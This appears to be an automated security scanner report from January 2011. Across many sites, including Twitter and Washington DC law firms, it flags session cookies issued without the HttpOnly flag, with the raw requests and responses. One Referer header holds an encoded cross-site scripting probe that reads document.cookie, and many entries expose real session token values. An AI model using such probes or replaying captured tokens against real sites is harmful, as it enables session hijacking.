<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=8acj3c0cu668bgmrh7gnp2bne1; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /rafaelp HTTP/1.1 Host: scr.im Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:14:37 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: PHPSESSID=8acj3c0cu668bgmrh7gnp2bne1; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 4805
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>scr.im « S ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /journal/clearing-floats HTTP/1.1 Host: sonspring.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:06:22 GMT Server: Apache/2.2.8 (Ubuntu) mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 Set-Cookie: SESS918cc6b448652b9859114bc571796adc=ea780a90a01691aa25448e74e4db5c83; expires=Fri, 11-Feb-2011 21:39:42 GMT; path=/; domain=.sonspring.com Last-Modified: Wed, 19 Jan 2011 18:00:10 GMT ETag: "e99ee84f074da844743c8fa202dd2acb" Expires: Sun, 19 Nov 1978 05:00:00 GMT Cache-Control: must-revalidate Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 12691
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /NA3/ats/careers/jobSearch.jsp HTTP/1.1 Host: tbe.taleo.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Internal Server Error Date: Wed, 19 Jan 2011 16:58:39 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=32501A4D309C4F21FC1D3A45E52ED2F3.NA3_primary_jvm; Path=/NA3/ats Content-Length: 2209 Connection: close Content-Type: text/html;charset=UTF-8
guest_id=129546090348215507; path=/; expires=Fri, 18 Feb 2011 18:15:03 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /account/resend_password HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 18:15:03 GMT Server: hi Status: 200 OK X-Transaction: 1295460903-12547-4367 ETag: "7869743eabd9df29ed0eae66f6c52179" Last-Modified: Wed, 19 Jan 2011 18:15:03 GMT X-Runtime: 0.04128 Content-Type: text/html; charset=utf-8 Content-Length: 9744 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295460903355824; path=/; expires=Wed, 26-Jan-11 18:15:03 GMT; domain=.twitter.com Set-Cookie: guest_id=129546090348215507; path=/; expires=Fri, 18 Feb 2011 18:15:03 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCD2qfJ8tAToMY3NyZl9pZCIlOWIyMWExNDlh%250AMDE4MTFmNmIxNTA2NTEzYTk4OTFmZDU6B2lkIiUxMzllMjg5YmJkNmM1MTRm%250ANzNhODY5MDFkMjNkMGFjYSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%253D%253D--9dd27a8a44242ea712aecffc9ab8ca6df3464b89; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129546090384940992; path=/; expires=Fri, 18 Feb 2011 18:15:03 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /arsolto/statuses/10125064363 HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 18:15:03 GMT Server: hi Status: 200 OK X-Transaction: 1295460903-81145-14171 ETag: "a6fc795aac464b22885ac98ee55f017f" Last-Modified: Wed, 19 Jan 2011 18:15:03 GMT X-Runtime: 0.05914 Content-Type: text/html; charset=utf-8 Content-Length: 13502 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295460903774503; path=/; expires=Wed, 26-Jan-11 18:15:03 GMT; domain=.twitter.com Set-Cookie: guest_id=129546090384940992; path=/; expires=Fri, 18 Feb 2011 18:15:03 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCKqrfJ8tAToMY3NyZl9pZCIlZjZhZGIwNDg1%250AN2IxYmI5ODFhNTk4NzM4MjUzNjU0Yjc6B2lkIiVlZjgwZDQ5NWZkYTQwODc2%250AZDY5ODhkMWRlZWI2NjNhZiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoOcmV0dXJuX3RvIjRodHRw%250AOi8vdHdpdHRlci5jb20vYXJzb2x0by9zdGF0dXNlcy8xMDEyNTA2NDM2Mw%253D%253D--dd1eec61e09f18ecf2133956dfaae816c545c95c; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129546090376423251; path=/; expires=Fri, 18 Feb 2011 18:15:03 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /fagiani HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 18:15:03 GMT Server: hi Status: 200 OK X-Transaction: 1295460903-30476-34757 ETag: "77ef6be1f643debd8666b53bd63bb365" Last-Modified: Wed, 19 Jan 2011 18:15:03 GMT X-Runtime: 0.01698 Content-Type: text/html; charset=utf-8 Content-Length: 51533 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295460903731262; path=/; expires=Wed, 26-Jan-11 18:15:03 GMT; domain=.twitter.com Set-Cookie: guest_id=129546090376423251; path=/; expires=Fri, 18 Feb 2011 18:15:03 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCFerfJ8tAToHaWQiJTAyMzgxNWI3YTgxYmU5%250AMGY4YzkzODgxOWZiZDc5ZDRiIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--e90ad675263b4a03bc9fc44f397ea9c5197cc977; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129546090373025980; path=/; expires=Fri, 18 Feb 2011 18:15:03 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /rafaelp HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 18:15:03 GMT Server: hi Status: 200 OK X-Transaction: 1295460903-25933-31378 ETag: "2118e3354d30b7717233879fa74e0603" Last-Modified: Wed, 19 Jan 2011 18:15:03 GMT X-Runtime: 0.01529 Content-Type: text/html; charset=utf-8 Content-Length: 56379 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295460903722470; path=/; expires=Wed, 26-Jan-11 18:15:03 GMT; domain=.twitter.com Set-Cookie: guest_id=129546090373025980; path=/; expires=Fri, 18 Feb 2011 18:15:03 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCDWrfJ8tAToHaWQiJWVkN2M3Njg5ZjI0YWNl%250ANmU4Zjk0ZTY3ZDIzZDg0OWJjIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--b2a03e152c47781d67c9986e69f0aaba12291528; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129545075519959012; path=/; expires=Fri, 18 Feb 2011 15:25:55 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /share HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: viniciusbraga.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /domainserve/domainView HTTP/1.1 Host: web2.domainmall.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /infomaster/widgets?wid=pt&qkwid1=qkw&submitid1=sqkw HTTP/1.1 Host: wsdsapi.infospace.com Proxy-Connection: keep-alive Referer: http://www.info.com/washington%20dc%20law%20firms2ee2d%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e72356283334 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.abelsonlaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:26:35 GMT Server: Microsoft-IIS/6.0 MicrosoftOfficeWebServer: 5.0_Pub X-Powered-By: ASP.NET Content-Length: 30130 Content-Type: text/html Set-Cookie: ASPSESSIONIDQQRDDQCB=CAAFBMLCGGNECIMMACCGLHLN; path=/ Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Washington DC Personal Injury Attorneys / Car Crash Lawyers, Fatal Auto A ...[SNIP]...
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.arnoldporter.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:08:47 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=18263646;expires=Fri, 11-Jan-2041 15:08:47 GMT;path=/ Set-Cookie: CFTOKEN=41801191;expires=Fri, 11-Jan-2041 15:08:47 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /x22 HTTP/1.1 Host: www.bailyes.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Connection: close Date: Wed, 19 Jan 2011 15:28:11 GMT Server: Microsoft-IIS/6.0 MicrosoftOfficeWebServer: 5.0_Pub X-Powered-By: ASP.NET Location: /pagenotfound.htm Content-Length: 138 Content-Type: text/html Set-Cookie: ASPSESSIONIDQSDQRQCC=FPFLGIDDGDDKHDEIIHPNCHML; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="/pagenotfound.htm">here</a>.</body>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.bauerlaw.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:28:10 GMT Server: Microsoft-IIS/6.0 MicrosoftOfficeWebServer: 5.0_Pub X-Powered-By: ASP.NET Content-Length: 55754 Content-Type: text/html; Charset=UTF-8 Expires: Wed, 19 Jan 2011 15:28:09 GMT Set-Cookie: ASPSESSIONIDQCBCDQTA=HLOPKCFDHMAIMBOJFLKIIOGL; path=/ Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>HomePage | Serge Bauer</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta n ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
SESS2e53cd66881dc1b0eb8079878b7a4286=7h750c8v714umuj2jedt5gf3l1; expires=Fri, 11 Feb 2011 18:41:30 GMT; path=/; domain=.childrenslawcenter.org
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.childrenslawcenter.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:08:10 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Set-Cookie: SESS2e53cd66881dc1b0eb8079878b7a4286=7h750c8v714umuj2jedt5gf3l1; expires=Fri, 11 Feb 2011 18:41:30 GMT; path=/; domain=.childrenslawcenter.org Last-Modified: Wed, 19 Jan 2011 15:05:50 GMT ETag: "617a2f897d287fe1b6cb50ae2b1a53e6" Expires: Sun, 19 Nov 1978 05:00:00 GMT Cache-Control: must-revalidate Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 29782
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" dir="ltr"> <head> <meta ...[SNIP]...
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.dcbar.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:49:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=8429406;expires=Fri, 11-Jan-2041 15:49:12 GMT;path=/ Set-Cookie: CFTOKEN=75106234;expires=Fri, 11-Jan-2041 15:49:12 GMT;path=/ last-modified: Thu, 13 Jan 2011 09:06:24 GMT last-modified: Wed, 19 Jan 2011 15:49:12 GMT Content-Type: text/html
<!---http://www.dcbar.org/index.cfm--->
<html><!-- #BeginTemplate "/Templates/index.dwt" --><!-- DW6 --> <head> <!-- #BeginEditable "doctitle" --> <title>The District of Columbia Bar</title> <M ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=r9mt7q2l6q33qih8ijabts6j75; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /chamber/memberDetail.asp HTTP/1.1 Host: www.dcchamber.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Wed, 19 Jan 2011 15:47:49 GMT Server: Apache/2.0.63 (Red Hat) Set-Cookie: PHPSESSID=r9mt7q2l6q33qih8ijabts6j75; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>DC Chamber of Commer ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /rd/index.asp HTTP/1.1 Host: www.dexknows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.directstartv.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.dykema.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:17 GMT Server: Microsoft-IIS/6.0 MicrosoftOfficeWebServer: 5.0_Pub X-Powered-By: ASP.NET Pragma: no-cache Content-Length: 10454 Content-Type: text/html Expires: Wed, 19 Jan 2011 15:47:17 GMT Set-Cookie: ASPSESSIONIDAQQCABBA=IPCAPCFDOKPMHDCMNPIFOKAG; path=/ Cache-control: no-cache
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /showoffice.aspx HTTP/1.1 Host: www.ebglaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Connection: close Date: Wed, 19 Jan 2011 15:48:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Location: /404.aspx?error=500 Set-Cookie: ASP.NET_SessionId=ld121hju5gt2vlvrg5m2cm45; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 136
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href='/404.aspx?error=500'>here</a>.</h2> </body></html>
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.farberlegal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:48:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-UA-Compatible: IE=EmulateIE7 Pragma: No-Cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Content-Length: 24481 Content-Type: text/html Expires: Wed, 19 Jan 2011 14:08:28 GMT Set-Cookie: ASPSESSIONIDCQBTADDB=DMPMOLHDDBHOJHLJDOHMAGNB; path=/ Cache-control: private Connection: close Set-Cookie: BIGipServerFIRMSND13-80=1504003239.20480.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Metro Washington D.C. Employment Law Attorney | North Bethesda, Rockville, Baltimore, Maryland, Northern Virgin ...[SNIP]...
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:49:31 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=24113095;path=/ Set-Cookie: CFTOKEN=35971701;path=/ Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A31%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D512%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.16.1.67;expires=Fri, 11-Jan-2041 15:49:31 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dc HTTP/1.1 Host: www.fulbright.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:08:41 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=24113095;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:08:41 GMT;path=/ Set-Cookie: CFTOKEN=35971701;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:08:41 GMT;path=/ Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A41%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A40%27%7D%23hitcount%3D3%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.16.1.67;expires=Fri, 11-Jan-2041 15:08:41 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /index.cfm HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:35 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=24113095;path=/ Set-Cookie: CFTOKEN=35971701;path=/ Set-Cookie: CFCLIENT_WWW2=recentsearch%3D%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:48:35 GMT;path=/ Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A48%3A35%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D6%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:48:35 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.jackscamp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 16:49:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 17936 Content-Type: text/html Set-Cookie: ASPSESSIONIDACDSRASD=GFIFOMGDDJBHHCPFIBKPOCNO; path=/ Cache-control: private
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Cont ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.kasimer-ittig.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.llsdc.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
